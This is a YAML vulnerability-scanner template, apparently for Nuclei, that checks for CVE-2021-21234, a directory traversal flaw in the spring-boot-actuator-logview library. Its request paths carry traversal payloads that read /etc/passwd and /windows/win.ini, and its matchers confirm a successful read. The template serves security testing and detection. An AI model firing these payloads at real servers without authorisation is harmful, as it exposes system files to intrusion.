56 lines
2.4 KiB
YAML
56 lines
2.4 KiB
YAML
id: CVE-2021-21234
|
|
|
|
info:
|
|
name: Spring Boot Actuator Logview Directory Traversal
|
|
author: gy741,pikpikcu
|
|
severity: high
|
|
description: |
|
|
spring-boot-actuator-logview before version 0.2.13 contains a directory traversal vulnerability in libraries that adds a simple logfile viewer as a spring boot actuator endpoint (maven package "eu.hinsch:spring-boot-actuator-logview".
|
|
remediation: |
|
|
Apply the latest security patches or upgrade to a patched version of Spring Boot Actuator.
|
|
reference:
|
|
- https://blogg.pwc.no/styringogkontroll/unauthenticated-directory-traversal-vulnerability-in-a-java-spring-boot-actuator-library-cve-2021-21234
|
|
- https://github.com/cristianeph/vulnerability-actuator-log-viewer
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-21234
|
|
- https://github.com/lukashinsch/spring-boot-actuator-logview/commit/760acbb939a8d1f7d1a7dfcd51ca848eea04e772
|
|
- https://github.com/lukashinsch/spring-boot-actuator-logview/commit/1c76e1ec3588c9f39e1a94bf27b5ff56eb8b17d6
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
|
|
cvss-score: 7.7
|
|
cve-id: CVE-2021-21234
|
|
cwe-id: CWE-22
|
|
epss-score: 0.96873
|
|
epss-percentile: 0.99594
|
|
cpe: cpe:2.3:a:spring-boot-actuator-logview_project:spring-boot-actuator-logview:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 4
|
|
vendor: spring-boot-actuator-logview_project
|
|
product: spring-boot-actuator-logview
|
|
tags: cve,cve2021,springboot,lfi,actuator
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/manage/log/view?filename=/windows/win.ini&base=../../../../../../../../../../"
|
|
- "{{BaseURL}}/log/view?filename=/windows/win.ini&base=../../../../../../../../../../"
|
|
- "{{BaseURL}}/manage/log/view?filename=/etc/passwd&base=../../../../../../../../../../"
|
|
- "{{BaseURL}}/log/view?filename=/etc/passwd&base=../../../../../../../../../../"
|
|
|
|
stop-at-first-match: true
|
|
|
|
matchers-condition: or
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- "regex('root:.*:0:0:', body)"
|
|
- "status_code == 200"
|
|
condition: and
|
|
|
|
- type: dsl
|
|
dsl:
|
|
- "contains(body, 'bit app support')"
|
|
- "contains(body, 'fonts')"
|
|
- "contains(body, 'extensions')"
|
|
- "status_code == 200"
|
|
condition: and
|
|
# digest: 4b0a004830460221008190bfb1e78b0d8f712868b9bdcefc90483d6db5a005337e904d3a2df5cae803022100be313b2dc86517f01971e17672234b6ea231a192a9a7965621a7dfb133e76ec1:922c64590222798bb761d5b6d8e72950 |